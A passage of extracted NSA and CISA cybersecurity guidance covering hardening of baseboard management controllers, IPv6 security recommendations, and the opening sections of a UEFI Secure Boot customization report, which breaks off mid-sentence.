+dedicated security chip or coprocessor (multiple trademarked names in use), or a central +processing unit (CPU) secure memory enclave. Monitor integrity features for unexpected +changes and platform alerts [CPG 2.T]. +6. Move sensitive workloads to hardened devices +Older server and cloud nodes may lack any BMC integrity monitoring mechanism. The presence +of a TPM does not guarantee that BMC integrity data is collected. Place sensitive workloads on +hardware designed to audit both the BMC firmware and the platform firmware [CPG 2.L]. +7. Use firmware scanning tools periodically +Some modern EDR and platform scanning tools support BMC firmware capture. Establish a +schedule to collect and inspect BMC firmware for integrity and unexpected changes. Include +firmware audits in comprehensive anti-malware scanning tasks. +8. Do not ignore BMCs +A user may accidentally connect and expose an ignored and disconnected BMC to malicious +content. Treat an unused BMC as if it may one day be activated. Apply patches. Harden +credentials. Restrict network access. If a BMC cannot be disabled or removed, carry out +recommended actions appropriate to the sensitivity of the platform +s data [CPG 1.E, 2.C, 2.F, +2.K, 2.W, 2.X]. +Works cited +[1] Eclypsium Inc. (2022), +The iLOBleed Implant: Lights Out Management Like You Wouldn +Believe. + https://eclypsium.com/2022/01/12/the-ilobleed-implant-lights-out-management-like-youwouldnt-believe +[2] National Institute of Standards and Technology (NIST) (2020), Special Publication 800-63B +Digital Identity Guidelines: Authentication and Lifecycle Management. +https://pages.nist.gov/800-63-3/sp800-63b.html +[3] National Security Agency (NSA) (2018), +UEFI Defensive Practices Guidance. +https://www.nsa.gov/portals/75/documents/what-we-do/cybersecurity/professional-resources/ctruefi-defensive-practices-guidance.pdf +U/OO/164464-23 | PP-23-1426 | JUN 2023 Ver. 1.0 +TLP:CLEAR +TLP:CLEAR +NSA, CISA | Harden Baseboard Management Controllers +Disclaimer of endorsement +The information and opinions contained in this document are provided "as is" and without any warranties or +guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, +manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United +States Government, and this guidance shall not be used for advertising or product endorsement purposes. +Purpose +This document was developed in furtherance of the authoring agencies + cybersecurity missions, including their +responsibilities to identify and disseminate threats and to develop and issue cybersecurity specifications and +mitigations. This information may be shared broadly to reach all appropriate stakeholders. +Contact +Cybersecurity Report Feedback: CybersecurityReports@nsa.gov +General Cybersecurity Inquiries: Cybersecurity_Requests@nsa.gov +Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov +CISA's 24/7 Operations Center to report incidents and anomalous activity: Report@cisa.gov or (888) 282-0870 +Media Inquiries / Press Desk: +NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov +CISA Media Relations: 703-235-2010, CISAMedia@cisa.dhs.gov +U/OO/164464-23 | PP-23-1426 | JUN 2023 Ver. 1.0 +TLP:CLEAR +National Security Agency | Cybersecurity Information Sheet +IPv6 Security Guidance +Executive summary +Nearly all networked devices use the Internet Protocol (IP) for their communications. IP +version 6 (IPv6) is the current version of IP and provides advantages over the legacy IP +version 4 (IPv4). Most notably, the IPv4 address space is inadequate to support the +increasing number of networked devices requiring routable IP addresses, whereas IPv6 +provides a vast address space to meet current and future needs. +While some technologies, such as network infrastructure, are more affected by IPv6 +than others, nearly all networked hardware and software are affected in some way as +well. As a result, IPv6 has broad impact on cybersecurity that organizations should +address with due diligence. +IPv6 security issues are quite similar to those from IPv4. That is, the security methods +used with IPv4 should typically be applied to IPv6 with adaptations as required to +address the differences with IPv6. Security issues associated with an IPv6 +implementation will generally surface in networks that are new to IPv6, or in early +phases of the IPv6 transition. +These networks lack maturity in IPv6 configurations and network security tools. More +importantly, they lack overall experience by the administrators in the IPv6 protocol. Dual +stacked networks (that run both IPv4 and IPv6 simultaneously) have additional security +concerns, so further countermeasures are needed to mitigate these risks due to the +increased attack surface of having both IPv4 and IPv6. +U/OO/105622-23 | PP-22-1805 | JAN 2023 Ver. 1.0 +NSA | IPv6 Security Guidance +Introduction +Federal and Department of Defense networks are moving from legacy IPv4 to IPv6only. During this transition, IPv4 will continue to be used, and many networks will +operate dual stack (running both IPv4 and IPv6 protocols simultaneously) as an interim +solution toward an IPv6-only end state. However, operating dual stack increases +operational burden and the attack surface. System owners and administrators should +implement cybersecurity mechanisms on both IP protocols to protect the network. +The network architecture and knowledge of those who configure and manage an IPv6 +implementation have a big impact on the overall security of the network. As a result, the +actual security posture of an IPv6 implementation can vary. +IPv6 security concerns and recommendations +To get a good start in implementing IPv6 networks and their potential security concerns, +NSA recommends the following: +Auto-configuration +Stateless address auto-configuration (SLAAC) is an automatic method to self-assign an +IPv6 address to a host. In some cases, such as for important servers, static addresses +may be preferred, but allowing devices to automatically self-assign or request an IPv6 +address dynamically is easier in most cases. In SLAAC, a host configures its own +network address based on a network prefix received from a router. The assigned IPv6 +address incorporates media access control (MAC) address information from the network +interface and may allow for host identification via interface ID, network interface card, or +host vendor. This leads to privacy concerns by linking movements to a specific device +and deducing an individual associated with that equipment, as well as exposing the +types of equipment used in a network. +NSA recommends assigning addresses to hosts via a Dynamic Host Configuration +Protocol version 6 (DHCPv6) server to mitigate the SLAAC privacy issue. Alternatively, +this issue can also be mitigated by using a randomly generated interface ID (RFC 4941 + Privacy Extensions for Stateless Address Auto-configuration in IPv6) [1] that changes +over time, making it difficult to correlate activity while still allowing network defenders +requisite visibility. +U/OO/105622-23 | PP-22-1805 | JAN 2023 Ver. 1.0 +NSA | IPv6 Security Guidance +Automatic tunnels +Tunneling is a transition technique that allows one protocol to be transported, or +tunneled, within another protocol. For example, a tunnel can be used to transport IPv6 +packets within IPv4 packets. A network might use tunneling for its Internet connection, +and some devices or apps might be designed to tunnel IPv6 traffic. Some operating +systems will automatically establish an IPv6 tunnel when a client connects to a server, +potentially causing an unwanted entry point to the host. +Unless transition tunnels are required, NSA recommends avoiding tunnels to reduce +complexity and the attack surface. Configure perimeter security devices to detect and +block tunneling protocols that are used as transition methods. In addition, disable +tunneling protocols (6to4 [2], ISATAP [3], Teredo [4], etc.) on all devices where +possible. Tunneling protocols can be allowed if they are required during a transition, but +they should be limited to only approved systems where their usage is well understood +and where they are explicitly configured. +Dual stack +A dual stack environment exists when devices run both IPv4 and IPv6 protocols +simultaneously. This is a preferred method for staged IPv6 deployment, but it can be +more expensive and tends to increase the attack surface. This approach provides a +transition method to IPv6 because it allows devices to use IPv6 for communications that +support IPv6 while maintaining the ability to use IPv4 for communications that do not +support IPv6. As IPv6 deployments increase, a dual stack environment will transition to +IPv6-focused operations by increasing the use of IPv6 and decreasing the use of IPv4. +When deploying a dual stack network, organizations should implement IPv6 +cybersecurity mechanisms that achieve parity with their IPv4 mechanisms or better. For +any security mechanism implemented for IPv4, a corresponding security mechanism +should be implemented for IPv6, with the IPv6 mechanism addressing any differences +for IPv6. [5] For example, firewall rules that filter higher level protocols (such as TCP or +UDP) should be applied to both IPv6 and IPv4 protocols. Many modern network security +mechanisms support both IPv4 and IPv6, although administrators should verify specific +product compatibility. Also, other transition mechanisms, such as tunneling and +translation, should be avoided at this step in the transition strategy as they add transport +and cybersecurity complexities. +U/OO/105622-23 | PP-22-1805 | JAN 2023 Ver. 1.0 +NSA | IPv6 Security Guidance +Hosts with multiple IPv6 addresses +Unlike IPv4, multiple network addresses are commonly assigned to an interface in IPv6. +Multiple addresses create a wider attack surface than a single address. Generating +filtering rules or access control lists (ACLs) can be a challenge. It also requires firewalls +and intermediate security devices to be aware of all of the addresses in order to be +effective. +To mitigate this concern, carefully review ACLs to ensure they deny all traffic by default, +so only traffic from authorized addresses are permitted through the firewalls and other +security devices. Ensure all traffic is logged, and review the logs on a regular basis to +ensure the allowed traffic matches the organization's policies. +IPv6 education +A successfully secured IPv6 network requires, at a minimum, a fundamental knowledge +of the differences between the IPv4 and IPv6 protocols and how they operate. The lack +of this knowledge could lead to IPv6 misconfigurations. Misconfigured IPv6-enabled +devices (resulting from an error in the configuration) could introduce vulnerabilities, +making the devices more prone to compromise. +Learning the IPv6 protocol and knowing how to configure IPv6 effectively are the most +critical things to protect and enhance IPv6 security on a network. NSA recommends +ensuring all network administrators have received the proper training and education to +adequately administer IPv6 networks. +Additional considerations +While there are convincing reasons to transition from IPv4 to IPv6, security is not the +main motivation. Security risks exist in IPv6 and will be encountered, but they should be +mitigated with a combination of stringently applied configuration guidance and training +for system owners and administrators during the transition. In addition to the potential +security issues previously described, what follows is a list of additional considerations to +secure IPv6 networks: +Use split domain name system (Split DNS) +The Domain Name System (DNS) has been expanded for IPv6 with a new AAAA record +that provides IPv6 addresses in addition to the A record that provides IPv4 addresses. +U/OO/105622-23 | PP-22-1805 | JAN 2023 Ver. 1.0 +NSA | IPv6 Security Guidance +Therefore, a dual stack DNS implementation may need to support both A and AAAA +records. Due to SLAAC and other mechanisms, sensitive information could be included +in the AAAA records for internal hosts. Split DNS uses two separate DNS servers +created for the same domain, one for the external network and one for the internal +network. The goal of split DNS, as opposed to a single DNS, is to increase security and +privacy by not inadvertently exposing sensitive information in a DNS record from the +internal network to the external network. NSA recommends implementing split DNS, for +both IPv4 and IPv6 networks. +Filter IPv6 traffic (boundary protection) +IPv6 traffic should be filtered according to the organization's network policies. A network +that has not yet deployed IPv6 should block all IPv6 at the network border, including any +IPv6 that is tunneled in IPv4. A network that has deployed IPv6 should only allow IPv6 +traffic that is permitted by policy, with ACLs allowing authorized flows and protocols and +blocking all others by default. Although the IPv6 filtering policy may be based on an +existing IPv4 policy, the IPv6 policy should reflect IPv6-specific issues. In addition, the +filtering policy should reflect that Internet Control Message Protocol for IPv6 (ICMPv6) is +more fundamental to IPv6 communications than the corresponding ICMP for IPv4. +Specific ICMPv6 messages, such as neighbor discovery and router advertisement, may +need to be permitted even if the corresponding message in ICMP for IPv4 is blocked. [6] +Protect the local link +IPv6 defines network functions that operate on the local link. This includes link-layer +address resolution, router discovery, and stateless auto-configuration of addresses. [8] +[9] Compared to IPv4, local-link operations for IPv6 are more complex and provide more +attack surface. Therefore, any relevant mitigations (i.e., Router Advertisement (RA) +Guard [10] [11] to protect against rogue RA messages, Dynamic Host Configuration +Protocol for IPv6 (DHCPv6) Shield [12] to protect against rogue DHCPv6 servers) +provided by switches and routers should be considered. +Avoid network address and protocol translation +IPv6-only networks will likely implement translation, such as NAT64/DNS64 (Network +Address Translation between IPv6 hosts and IPv4 servers synthesizes DNS AAAA +records from A records) or 464XLAT (translation between IPv4 private addresses, IPv6 +U/OO/105622-23 | PP-22-1805 | JAN 2023 Ver. 1.0 +NSA | IPv6 Security Guidance +addresses, and IPv4 global addresses), to communicate with other networks that do not +yet support IPv6. As dual stack and IPv6-only deployments increase, translation use will +decrease, and eventually, the translation functions will no longer be used and can be +removed. +Other than using NAT64/DNS64 [13] [14] or 464XLAT [15] for IPv6-only networks, +address translation should generally not be used. In particular, many IPv4 networks use +NAT, specifically NAT44, to translate between internal and external addresses. On the +other hand, IPv6 networks should instead use global addresses on all systems that +require external communications and non-routable addresses inside the network. If +unique local addresses [16] are used on internal systems, any system that requires +external communications should also have a global address. +Plan for IPv6 stumbling blocks +As with all network changes, new security issues or variations of existing ones, will arise +during the transition to IPv6. As described in this cybersecurity information sheet, +addressing the issues up front in IPv6 implementation plans, configuration guidance, +and appropriate training of administrators will aid organizations to avoid security pitfalls +during the transition and to leverage IPv6 benefits properly. +Works cited +[10] +Narten, T., Draves, R., Krishna S. (2007), Privacy Extension for Stateless Address +Autoconfiguration in IPv6, RFC 4941. https://datatracker.ietf.org/doc/html/rfc4941 +Carpenter, B. and Moore, K. (2001), Connection of IPv6 Domains via IPv4 Clouds, RFC 3056. +https://datatracker.ietf.org/rfc/rfc3j056.html +Templin, F., Gleeson, T., and Thaler, D. (2008), Intra-Site Automatic Tunnel Addressing Protocol +(ISATAP), RFC 5214. https://datatracker.ietf.org/doc/rfc5214 +Huitema, C. (2006), Teredo: Tunneling IPv6 over UDP through Network Address Translations +(NATs), RFC 4380. https://datatracker.ietf.org/doc/html/rfc4380 +National Institute of Standards and Technology (NIST) (2010), SP 800-119 Guidelines for the +Secure Deployment of IPv6. +https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-119.pdf +Davies, E. and Mohacsi, J. (2007), Recommendations for Filtering ICMPv6 Messages in +Firewalls, RFC 4890. https://datatracker.ietf.org/doc/rfc4890/ +Chittimaneni, K., Chown, T., Howard, L., Kuarsingh, V., Pouffary, Y., and Vyncke, E. (2014), +Enterprise IPv6 Deployment Guidelines, RFC 7381. https://datatracker.ietf.org/doc/rfc7381/ +Narten, T., Nordmark, E., Simpson, W., and Soliman, H. (2007), Neighbor Discovery for IP +version 6 (IPv6), RFC 4861. https://datatracker.ietf.org/doc/rfc4861 +Thomson, S., Narten, T., and Jinmei, T. (2007), IPv6 Stateless Address Autoconfiguration, RFC +4862. https://datatracker.ietf.org/doc/rfc4862/ +Levy-Abegnoli, E., Van de Velde, G., Popoviciu, C., and Mohacsi, J. (2011), IPv6 Router +Advertisement Guard, RFC 6105. https://datatracker.ietf.org/doc/html/draft-ietf-v6ops-ra-guard +U/OO/105622-23 | PP-22-1805 | JAN 2023 Ver. 1.0 +NSA | IPv6 Security Guidance +[11] +[12] +[13] +[14] +[15] +[16] +Gont, F. (2014), Implementation Advice for IPv6 Router Advertisement Guard (RA-Guard), RFC +7113. https://datatracker.ietf.org/doc/rfc7113 +Gont, F., Liu, W., and Van de Velde, G. (2015), DHCPv6-Shield: Protecting against Rogue +DHCPv6 Servers, RFC 7610. https://datatracker.ietf.org/doc/rfc7610 +Bagnulo, M., Matthews, P., and van Beijnum, I. (2011), Stateful NAT64: Network Address and +Protocol Translation from IPv6 Clients to IPv4 Servers, RFC 6146. +https://datatracker.ietf.org/doc/rfc6146 +Bagnulo, M., Sullivan, A., Matthews, P., and van Beijnum, I. (2011), DNS64: DNS Extensions for +Network Address Translation from IPv6 Clients to IPv4 Servers, RFC 6147. +https://datatracker.ietf.org/doc/rfc6146 +Mawatari, M., Kawashima, M., and Byrne, C., 464XLAT: Combination of Stateful and Stateless +Translation, RFC 6877, 2013. https://datatracker.ietf.org/doc/rfc6877/ +Hinden, R. and Haberman, B., Unique Local IPv6 Unicast Addresses, RFC 4193, 2005. +https://www.rfc-editor.org/rfc/rfc4193 +Disclaimer of endorsement +The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference +herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not +constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be +used for advertising or product endorsement purposes. +Purpose +This document was developed in furtherance of NSA +s cybersecurity missions, including its responsibilities to identify and +disseminate threats to National Security Systems, Department of Defense, and Defense Industrial Base information systems, and to +develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate +stakeholders. +Contact +Report Feedback / General Cybersecurity Inquiries: CybersecurityReports@nsa.gov +Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov +Media Inquiries / Press Desk: 443-634-0721, MediaRelations@nsa.gov +U/OO/105622-23 | PP-22-1805 | JAN 2023 Ver. 1.0 +National Security Agency +Cybersecurity Technical Report +UEFI Secure Boot +Customization +March 2023 ver. 1.2 +S/N: U/OO/168873-20 +PP-23-0464 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Notices and history +Document change history +Date +Version +Description +15 September 2020 +Publication release. +16 September 2020 +Updated server UEFI hash interface image and text. +14 March 2023 +Updated DB and DBX hash calculation information in section +4.3.3 to correctly handle EFI (PE/EFL) format. +Disclaimer of warranties and endorsement +The information and opinions contained in this document are provided "as is" and without any +warranties or guarantees. Reference herein to any specific commercial products, process, or +service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or +imply its endorsement, recommendation, or favoring by the United States Government. The views +and opinions of authors expressed herein do not necessarily state or reflect those of the United +States Government, and shall not be used for advertising or product endorsement purposes. +Trademark recognition +Dell, EMC, Dell EMC, iDRAC, Optiplex, and PowerEdge are registered trademarks of Dell, Inc. +HP, HPE, HP Enterprise, iLO, and ProLiant are registered trademarks of Hewlett-Packard +Company. +Linux is a registered trademark of Linus Torvolds. +Microsoft, Hyper-V, Surface, and Windows are registered trademarks of Microsoft Corporation. +Red Hat, Red Hat Enterprise Linux (RHEL), CentOS, and Fedora are registered trademarks of +Red Hat, Inc. +VMware and ESXI are registered trademarks of VMware, Inc. +Trusted Computing Group, TCG, Trusted Platform Module, TPM, and related specifications are +property of the Trusted Computing Group. +Unified Extensible Firmware Interface, UEFI, UEFI Forum, and related specifications are +property of the UEFI Forum. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Publication information +Author(s) +National Security Agency +Cybersecurity Directorate +Endpoint Security Division +Platform Security Section +Contact information +Client Requirements / General Cybersecurity Inquiries: +Cybersecurity Requirements Center, 410-854-4200, Cybersecurity_Requests@nsa.gov +Media inquiries / Press Desk: +Media Relations, 443-634-0721, MediaRelations@nsa.gov +Purpose +This document was developed in furtherance of NSA's cybersecurity missions. This includes its +responsibilities to identify and disseminate threats to National Security Systems, Department of +Defense information systems, and the Defense Industrial Base, and to develop and issue +cybersecurity specifications and mitigations. This information may be shared broadly to reach all +appropriate stakeholders. +Additional resources +Please visit the NSA Cybersecurity GitHub at https://www.github.com/nsacyber/Hardware-andFirmware-Security-Guidance for additional resources relating to UEFI Secure Boot and the +customization process. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Executive summary +Secure Boot is a boot integrity feature that is part of the Unified Extensible Firmware Interface +(UEFI) industry standard. Most modern computer systems are delivered to customers with a +standard Secure Boot policy installed. This document provides a comprehensive guide for +customizing a Secure Boot policy to meet several use cases. +UEFI is a replacement for the legacy Basic Input Output System (BIOS) boot mechanism. UEFI +provides an environment common to different computing architectures and platforms. UEFI also +provides more configuration options, improved performance, enhanced interfaces, security +measures to combat persistent firmware threats, and support for a wider variety of devices and +form factors. +Malicious actors target firmware to persist on an endpoint. Firmware is stored and executes from +memory that is separate from the operating system and storage media. Antivirus software, which +runs after the operating system has loaded, is ineffective at detecting and remediating malware +in the early-boot firmware environment that executes before the operating system. Secure Boot +provides a validation mechanism that reduces the risk of successful firmware exploitation and +mitigates many published early-boot vulnerabilities. +Secure Boot is frequently not enabled due to issues with incompatible hardware and software. +Custom certificates, signatures, and hashes should be utilized for incompatible software and +hardware. Secure Boot can be customized to meet the needs of different environments. +Customization enables administrators to realize the benefits of boot malware defenses, insider +threat mitigations, and data-at-rest protections. Administrators should opt to customize Secure +Boot rather than disable it for compatibility reasons. Customization may + depending on +implementation + require infrastructures to sign their own boot binaries and drivers. +Recommendations for system administrators and infrastructure owners: +Machines running legacy BIOS or Compatibility Support Module (CSM) should be +migrated to UEFI native mode. +Secure Boot should be enabled on all endpoints and configured to audit firmware modules, +expansion devices, and bootable OS images (sometimes referred to as Thorough Mode). +Secure Boot should be customized, if necessary, to meet the needs of organizations and +their supporting hardware and software. +Firmware should be secured using a set of administrator passwords appropriate for a +device's capabilities and use case. +Firmware should be updated regularly and treated as importantly as operating system and +application updates. +A Trusted Platform Module (TPM) should be leveraged to check the integrity of firmware +and the Secure Boot configuration. +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +Contents +Notices and history .......................................................................................................................ii +Document change history ........................................................................................................................................ii +Disclaimer of warranties and endorsement ......................................................................................................ii +Trademark recognition ..............................................................................................................................................ii +Publication information................................................................................................................iii +Author(s) ........................................................................................................................................................................iii +Contact information ...................................................................................................................................................iii +Purpose ..........................................................................................................................................................................iii +Additional resources .................................................................................................................................................iii +Executive summary ...................................................................................................................... iv +Contents.......................................................................................................................................... v +1 Unified Extensible Firmware Interface (UEFI) ........................................................................ 1 +2 UEFI Secure Boot ...................................................................................................................... 2 +2.1 Platform-Specific Caveats ............................................................................................................................... 4 +3 Use Cases For Secure Boot ..................................................................................................... 5 +3.1 Anti-Malware ......................................................................................................................................................... 5 +3.2 Insider Threat Mitigation .................................................................................................................................. 6 +3.3 Data-at-Rest ......................................................................................................................................................... 7 +4 Customization ............................................................................................................................ 7 +4.1 Dependencies ...................................................................................................................................................... 7 +4.2 Backup Factory Values .................................................................................................................................... 8 +4.2.1 Backup Secure Boot Values.................................................................................................................. 9 +4.2.2 EFI Signature List (ESL) Format........................................................................................................ 11 +4.3 Initial Provisioning of Certificates and Hashes ..................................................................................... 12 +4.3.1 Create Keys and Certificates .............................................................................................................. 13 +4.3.2 Sign Binaries .............................................................................................................................................. 14 +4.3.3 Calculate and Capture Hashes .......................................................................................................... 15 +4.3.4 Load Keys and Hashes ......................................................................................................................... 17 +4.4 Updates and Changes .................................................................................................................................... 22 +4.4.1 Update the PK ........................................................................................................................................... 22 +4.4.2 Update a KEK ............................................................................................................................................ 22 +4.4.3 Update the DB or DBX ........................................................................................................................... 23 +4.4.4 Update MOK or MOKX .......................................................................................................................... 23 +4.5 Validation ............................................................................................................................................................. 23 +5. Advanced Customizations..................................................................................................... 24 +5.1 Trusted Platform Module (TPM) ................................................................................................................. 24 +5.2 Trusted Bootloader .......................................................................................................................................... 26 +6 References ................................................................................................................................ 27 +6.1 Cited Resources ............................................................................................................................................... 27 +6.2 Command References.................................................................................................................................... 27 +6.3 Uncited Related Resources.......................................................................................................................... 27 +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +7 Appendix ................................................................................................................................... 28 +7.1 UEFI Lockdown Configuration .................................................................................................................... 28 +7.2 Acronyms ............................................................................................................................................................. 30 +7.3 Frequently Asked Questions (FAQ) .......................................................................................................... 32 +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +1 Unified Extensible Firmware Interface (UEFI) +Unified Extensible Firmware Interface (UEFI) is an interface that exists between platform +hardware and software. UEFI is defined and updated via specifications maintained by the UEFI +Forum industry body. Support for UEFI is a requirement for some newer software and hardware. +Legacy boot solutions, such as Basic Input/Output System (BIOS), are being phased out in 2020 +(Shilov 2017). +UEFI defines a consistent Application Programming Interface (API) and a set of environment +variables common to all UEFI platforms. Uniformity enables OS, driver, and application +developers to build for UEFI regardless of platform, architecture, vendor, or assortment of system +components. Manufacturers and developers can take advantage of UEFI +s extensibility to create +additional features, add new product support, and create protocols to support emerging solutions. +Legacy BIOS involves a wide variety of unique implementations, update solutions, and +interpretations of platform services (e.g. Advanced Configuration and Power Interface (ACPI)). +UEFI establishes a standard that separates portions of code into modules, defines mechanisms +for module interaction, and empowers component vendors to reuse modules across product lines. +Modules also enable vendors to swap out content via updates that can be delivered remotely over +commercial infrastructure management and update solutions (Golden 2017). +UEFI boot occurs in standards-defined phases (UEFI Forum 2017). Figure 1 shows an overview +of the phases. The SEC, PEI, DXE, and BDS phases are handled by platform firmware. The +Bootloader and OS Kernel phases are handled by software. +UEFI Boot Phases +Security Phase +(SEC) +Pre-EFI Init +Phase (PEI) +Driver eXecution +Environment +(DXE) +Boot Device +Select (BDS) +Bootloader +OS Kernel + Initialize Static +Root of Trust for +Measurement +(SRTM) + Perform firmware +integrity checks + Initialize Core +Root of Trust for +Measurement +(CRTM), CPU, +chipset, RAM, +protocols, +handlers, built-in +devices + Begin firmwarecontrolled Secure +Boot + Discover I/O +buses, expansion +components (e.g. +RAID, NIC, +USB), and device +firmware + Execute firmware +modules + Parallel +execution for +speed + Initialize UEFI +system table, +boot manager, +apps (e.g. UEFI +shell, UEFI +config), network +connections, +remote +management + Read bootable +EFI partitions + SHIM, GRUB, +SysLinux, Boot +Manager for +Windows, +rEFInd, and other +bootable binaries + Can directly boot +kernels + Begin softwarecontrolled Secure +Boot + Set up initial +filesystem, +system modules, +policies, drivers, +and apps + Init OS runtime +environment and +user experience +layer + Kernel enforces +Secure Boot for +driver signing +Boot Process +Figure 1 - An enumeration of UEFI firmware and software boot phases. +Legacy BIOS has been part of the computing ecosystem since 1975. UEFI entered the standards +and commercial world in 2005 after having existed as an internal Intel Corporation project for +many years prior (referred to as Extensible Firmware Interface + EFI). The UEFI Forum and +vendor partners recognized the potential for disruption migrating from BIOS to UEFI would cause +on the computing industry and established products. Therefore, UEFI implementations historically +have offered the following operating modes to meet customer needs: +UEFI Native Mode is UEFI without any accommodation for legacy devices. UEFI makes +changes to the way devices and components execute their firmware and access system +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +resources as compared to older BIOS implementations. Native mode implements pure +UEFI and requires devices, components, and software to be UEFI-ready. UEFI Native +Mode is a requirement for utilizing UEFI Secure Boot. +Legacy BIOS Mode or Compatibility Support Module (CSM) are accommodations for +devices and components that are not designed for use with UEFI. BIOS behavior is +emulated to allow devices incompatible with UEFI's architectural and access control +paradigms to be used on modern systems. Leveraging legacy mode or CSM reintroduces +security, access control, and memory vulnerabilities addressed by the UEFI standard and +prohibits the use of UEFI Secure Boot. +2 UEFI Secure Boot +Secure Boot is a feature added to UEFI specification 2.3.1. Each binary (module, driver, kernel, +etc.) used during boot must be validated before execution. Validation involves checking for the +presence of a signature that can be validated by a certificate or by computing a SHA-256 hash +that matches a trusted hash. Several value stores are used to identify content that is trusted or +untrusted. Figure 2 shows the sequence of checks. The value stores are: +Platform Key (PK) is the master hierarchy key certificate. Only one PK may exist on the +system as a RSA-2048 public key certificate. In the most secure usage, PKs are unique +per endpoint and maintained by the endpoint owner or infrastructure operators. The PK +private key can sign UEFI environment variable changes or KEK, DB, and DBX changes +that can be validated by the PK certificate. The PK cannot be used for signing executable +binaries that are checked at boot time. Keep the PK private key secure and store it on a +different device. +Note: A PK certificate must be in place for Secure Boot to begin enforcement. +Some vendors ship devices with random PKs or a common/shared PK. Endpoint +owners may also install their own PK as part of the customization process. +Carefully consider the balance between administrative overhead and security. A +unique PK per endpoint provides greater security against UEFI compromise +across an infrastructure, but may reduce the speed at which administrators +can deploy changes compared to a common/shared PK. +Key Exchange Keys (KEKs) are normally used by vendors, such as the system vendor +and the OS vendor, who have a need to update the DB or DBX. One or more KEKs are +typically present on a system as RSA-2048 public key certificates. Different endpoints may +have the same KEK(s) + they are not unique to an endpoint. KEKs may sign changes to +the DB and DBX. KEKs can also be used to sign bootable content. However, replacing a +KEK is difficult because involvement from the PK is required. Therefore, KEKs should only +be used to make changes to the DB and DBX. Remember to keep the KEK private key +secure. +Allow list Database (DB) can contain SHA-256 hashes or RSA 2048 public key +certificates. Binaries that have signatures that can be validated by a certificate will be +allowed to execute at boot time. Likewise, binaries with computed SHA-256 hashes that +match a trusted hash will also be allowed to boot even in the absence of a signature. +Deny list Database (DBX) can contain SHA-256 hashes or RSA 2048 public key +certificates. The DBX has ultimate veto power at boot time. Any binary hash that +matches a DBX hash or has a signature verified by a DBX certificate will be prevented +from executing at boot time. DBX is normally leveraged to target errantly signed binaries +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +such as malware or debug bootloaders. DBX is normally checked first (except when +MOKX is present; see below). +Machine Owner Key (MOK) is not part of the UEFI Secure Boot standard. MOK is used +by Linux implementations. MOK functions identically to the DB and becomes initialized by +the pre-bootloader Shim. Linux distributions utilize MOK keys to sign their own binaries +rather than utilizing the process of having Microsoft or Original Equipment Manufacturers +(OEM) sign every update or variation. Shim is signed by Microsoft and therefore works on +most computers supporting Secure Boot Standard Mode. MOK can store SHA-256 hashes +and RSA public key certificates. Some Linux kernels leverage MOK for driver signing +checks instead of or in addition to DB, DBX, and KEK. +Machine Owner Key Deny list (MOKX) is also not part of the UEFI Secure Boot standard. +MOKX exists in Linux implementations and functions like the DBX. The bootloader Shim +is responsible for initializing MOKX. Some Linux kernels leverage MOKX for driver signing +checks instead of or in addition to DBX. MOKX is normally checked first when present + even before the DBX. +Figure 2 shows the order of operations during UEFI Secure Boot checks. MOKX and DBX are +checked first since they have absolute veto power. If no match is made after checking the KEK(s), +a binary is assumed to be untrusted. Reaching a denied (or unknown/no match) state only blocks +the object that was checked + boot continues for other binaries. +UEFI Secure Boot Check Priority +MOKX +Deny +Deny +Allow +Allow +Allow +No Match +Deny +Figure 2 - Order of operations during UEFI Secure Boot checks. Checks contained within dashed lines only take +place when the Shim bootloader is used AND after its initialization in the UEFI bootloader phase (i.e. firmware +OROMs are not checked against MOKX and MOK; kernels are checked against MOKX and MOK). +Vendor implementations of Secure Boot typically have the first three operating modes: +Standard Mode enforces signature and hash checks on boot time executables. Standard +mode is the default configuration for most modern computers, particularly those shipping +with Microsoft Windows installed. A Microsoft KEK and pair of Microsoft DB certificates +one for validating Microsoft products and another for products evaluated by Microsoft +make up the minimal Standard Mode configuration. DBX hashes representing errantly +signed or revoked boot time binaries are also typically included. System vendors may +include their own KEK and/or DB certificate. Standard Mode supports many versions of +Windows, Linux distributions, and a wide variety of hardware and software solutions. +Note: Switching to Standard Mode may set Secure Boot to factory default values +and remove any custom values. +User/Custom Mode also enforces signature and hash checks on boot time executables. +However, unlike Standard Mode, Custom Mode allows the system owner to narrow or +expand the selection of trusted hardware and software solutions by changing the contents +of the Secure Boot PK, KEK, DB, and/or DBX data stores. Endpoint administrators may +append new certificates and hashes to Secure Boot, or they may also remove, replace, or +clear existing certificates and hashes. Custom Mode allows endpoints to be configured to +U/OO/168873-20 | PP-23-0464 | Mar 2023 Ver. 1.2 +National Security Agency | Cybersecurity Technical Report +UEFI Secure Boot Customization +trust a narrow selection of hardware and software trusted by the owner, or expand upon +the Standard Mode ecosystem. +Disabled Mode does not utilize Secure Boot validation, so any well-structured EFI binary +will execute at boot regardless of hashes or signatures. Disabled mode is the default in +Legacy or Compatibility Support 